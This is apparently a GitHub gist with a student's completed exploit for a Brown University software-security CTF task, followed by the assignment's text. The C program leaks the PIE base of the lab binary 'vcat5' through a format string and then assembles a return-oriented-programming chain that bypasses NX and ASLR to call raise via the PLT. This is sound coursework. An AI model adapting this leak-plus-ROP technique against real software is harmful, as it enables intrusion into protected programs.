Skip to content

Instantly share code, notes, and snippets.

@zckevin
Last active November 14, 2019 04:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zckevin/2d0e6df9541bd1637f718794bc6ac135 to your computer and use it in GitHub Desktop.
Save zckevin/2d0e6df9541bd1637f718794bc6ac135 to your computer and use it in GitHub Desktop.
csci1650/csci1951 ctf-3
/*
* CTF-2 `vcat5' exploit (template)
*
* Vasileios P. Kemerlis <vpk@cs.brown.edu>
* - CSCI 1951H: Software Security and Exploitation
* - https://cs.brown.edu/courses/csci1951-h/
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#define BUF_SZ sizeof("0x00000000")
#define FMT_STR "%2$p %1$p" /* FIXME */
unsigned char payload[] =
/* ------------------------------------ */
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXX";
/* FIXME */
/* ------------------------------------ */
int
main(int argc, char **argv)
{
/* scratch space */
char buf[BUF_SZ];
/* base address of `vcat5' */
unsigned long baddr;
/* cleanup */
bzero(buf, BUF_SZ);
/* leak the base address of `vcat5' */
write(STDOUT_FILENO, FMT_STR, strlen(FMT_STR));
read(STDIN_FILENO, buf, BUF_SZ - 1);
baddr = strtoul(buf, NULL, 16) & ~0xfff;
// baddr = 0x410009d5;
// for gdb attach
// usleep(1000 * 1000 * 10);
/* fix the payload */
/* FIXME */
char buf2[256];
unsigned int addrs[] = {
// pop ebx; ret
0x00000575,
0x0defaced,
// pop edx; ret
0x000007eb,
// &mgk1
0x00001fdc,
// mov [edx], ebx; ret
0x000007fb,
// "If the procedure linkage table is position-independent, the address of the global offset table must reside in %ebx."
// pop ebx; ret
0x00000575,
// &.got.plt
0x00001f94,
// &raise@plt
0x00000590
// XXXX
// 0x0a
};
int index = 0;
strncpy( & buf2[index], payload, 32 * 2 + 12);
index += 32 * 2 + 12;
for (int i = 0; i < sizeof(addrs) / sizeof(addrs[0]); i++) {
int addr = addrs[i];
if (addr < 0xffff) {
addr = addrs[i] + baddr;
}
char tmp[17];
snprintf(tmp, sizeof(tmp), "%c%c%c%c",
(addr >> 0) & 0xFF,
(addr >> 8) & 0xFF,
(addr >> 16) & 0xFF,
(addr >> 24) & 0xFF);
strncpy( & buf2[index], tmp, 4);
index += 4;
}
strncpy( & buf2[index], "XXXX\x0a\x00\x00\x00", 8);
/*
* dump the payload in 'stdout'
* sizeof(payload)-1: ignore the trailing '\0';
* (strings are NULL terminated)
*/
write(STDOUT_FILENO, buf2, 32 * 2 + 12 + (8 + 2) * 4);
/* done; success */
return EXIT_SUCCESS;
}
https://cs.brown.edu/courses/csci1650/ctf-2.html
https://cs.brown.edu/courses/csci1951-h/ctf-3.html
Similarly to vcat4, vcat5 is a vulnerable program that reads from stdin(3) and writes to stdout(3). Again, you are not given the source code of vcat5.
You may run vcat5 by typing make vcat5_run. Also, if you need to execute vcat5 under gdb(1), type make vcat5_dbg. To aid the exploitation process, we provide exp5 (exp5.c), which: (a) dumps in stdout(3) the value of macro FMT_STR and the contents of variable unsigned char payload[]; and (b) reads from stdin(3) a hexadecimal (4 byte) value as a string. By running make vcat5_exp, make(1) will effectively execute ./exp5 < fifo | ./vcat5 > fifo, allowing you to feed vcat5 with the exact contents of FMT_STR and unsigned char payload[], and exp5 with the output of vcat5. Lastly, if you wish to execute ./exp5 | ./vcat5 under gdb(1), and attach the debugger to vcat5, run make vcat5_dbg and commence execution as follows: r < <(./exp5).
vcat5 contains both a stack-based buffer overflow and a format string vulnerability. However, it is hardened, against code injection and code reuse, by using executable space protection and full address space layout randomization; note that vcat5 is a position-independent executable (PIE). exp5 contains: (1) a format string template (FMT_STR) for leaking a 4-byte hexadecimal value from the stack of vcat5; and (2) a template payload (unsigned char payload[]) that smashes the stack of vcat5.
Warm-up 1 (10 points)
Replace the provided format string template with one that leaks an address belonging to the .text section of vcat5 (e.g., a saved return address). What should be the value of the format string template (i.e., macro FMT_STR in exp5.c) to achieve that?
Flag 3 (30 points)
Replace the provided payload with a (dynamically composed) JIT-ROP payload that: (a) stores the value 0x0defaced (4 bytes) to mgk1; and (b) invokes raise(SIGUSR1) using the return-to-plt (ret2plt) technique. What should be the value of payload (i.e., variable unsigned char payload[] in exp5.c) for getting the flag? (You may modify exp5.c, however you want, in order to dynamically compose the required payload.)
Extra Credit (20 points)
Replace the provided payload with a (dynamically composed) JIT-ROP payload that: (a) reads the values of rnd1 and rnd2 (4 bytes each); (b) adds them; (c) stores the result tomgk2; and (d) invokes raise(SIGUSR2). What should be the value of payload (i.e., variable unsigned char payload[] in exp5.c) for getting the flag? (You may modify exp5.c, however you want, in order to dynamically compose the required payload.)
Hints
make vcat5_dbg executes vcat5 under gdb(1), but without feeding exp5 with the output of vcat5. Therefore, the leaked address of vcat5 will be printed in stdout(3), allowing you to experiment with different format string templates until you complete Warm-up 1. Once you have successfully leaked an address belonging to the .text section of vcat5, you can manually feed it to exp5, by typing it in stdin(3), which, in turn, will automatically compute the base address of vcat5 (see variable unsigned long baddr in exp5.c). Armed with that information, you can then dynamically compute the absolute address of each gadget or symbol in vcat5, and attempt Flag 3.
Use ropshell to search for gadgets in vcat5. (Note that someone else may have already uploaded the binary; do not upload it multiple times.)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment